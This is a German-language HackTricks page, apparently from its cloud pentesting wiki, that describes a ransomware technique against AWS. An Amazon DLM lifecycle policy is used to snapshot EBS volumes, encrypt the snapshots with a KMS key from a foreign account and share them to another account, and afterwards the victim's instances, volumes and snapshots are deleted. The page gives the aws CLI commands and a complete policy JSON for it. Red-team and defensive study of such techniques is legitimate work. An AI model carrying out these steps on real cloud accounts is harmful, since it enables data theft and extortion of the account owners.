AWS - DLM Post Exploitation

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Datenlebenszyklus-Manager (DLM)

EC2:DescribeVolumes, DLM:CreateLifeCyclePolicy

Ein ransomware-Angriff kann ausgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und anschließend die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese bösartige Aktivität zu automatisieren, kann Amazon DLM eingesetzt werden, wobei die Snapshots mit einem KMS key aus einem anderen AWS-Konto verschlüsselt und die verschlüsselten Snapshots in ein anderes Konto übertragen werden. Alternativ könnten Snapshots unverschlüsselt in ein eigenes Konto übertragen und dort verschlüsselt werden. Auch wenn es nicht trivial ist, vorhandene EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu erreichen, indem ein neues Volume oder ein neuer Snapshot erstellt wird.

Zuerst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie instance ID, volume ID, encryption status, attachment status und volume type.

aws ec2 describe-volumes

Als Nächstes erstellt man die Lifecycle-Policy. Dieser Befehl verwendet die DLM-API, um eine Lifecycle-Policy einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Sie fügt den Snapshots außerdem bestimmte Tags hinzu und kopiert Tags von den Volumes auf die Snapshots. Die Datei policyDetails.json enthält die Details der Lifecycle-Policy, wie target tags, schedule, die ARN des optionalen KMS key für die Verschlüsselung und das Zielkonto für das Teilen der Snapshots, was in den CloudTrail-Logs des Opfers protokolliert wird.

bash
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json

Eine Vorlage für das Richtliniendokument kann hier eingesehen werden:

bash
{
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
"ResourceTypes": [
"VOLUME"
],
"TargetTags": [
{
"Key": "ExampleKey",
"Value": "ExampleValue"
}
],
"Schedules": [
{
"Name": "DailySnapshots",
"CopyTags": true,
"TagsToAdd": [
{
"Key": "SnapshotCreator",
"Value": "DLM"
}
],
"VariableTags": [
{
"Key": "CostCenter",
"Value": "Finance"
}
],
"CreateRule": {
"Interval": 24,
"IntervalUnit": "HOURS",
"Times": [
"03:00"
]
},
"RetainRule": {
"Count": 14
},
"FastRestoreRule": {
"Count": 2,
"Interval": 12,
"IntervalUnit": "HOURS"
},
"CrossRegionCopyRules": [
{
"TargetRegion": "us-west-2",
"Encrypted": true,
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
"CopyTags": true,
"RetainRule": {
"Interval": 1,
"IntervalUnit": "DAYS"
}
}
],
"ShareRules": [
{
"TargetAccounts": [
"123456789012"
],
"UnshareInterval": 30,
"UnshareIntervalUnit": "DAYS"
}
]
}
],
"Parameters": {
"ExcludeBootVolume": false
}
}

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks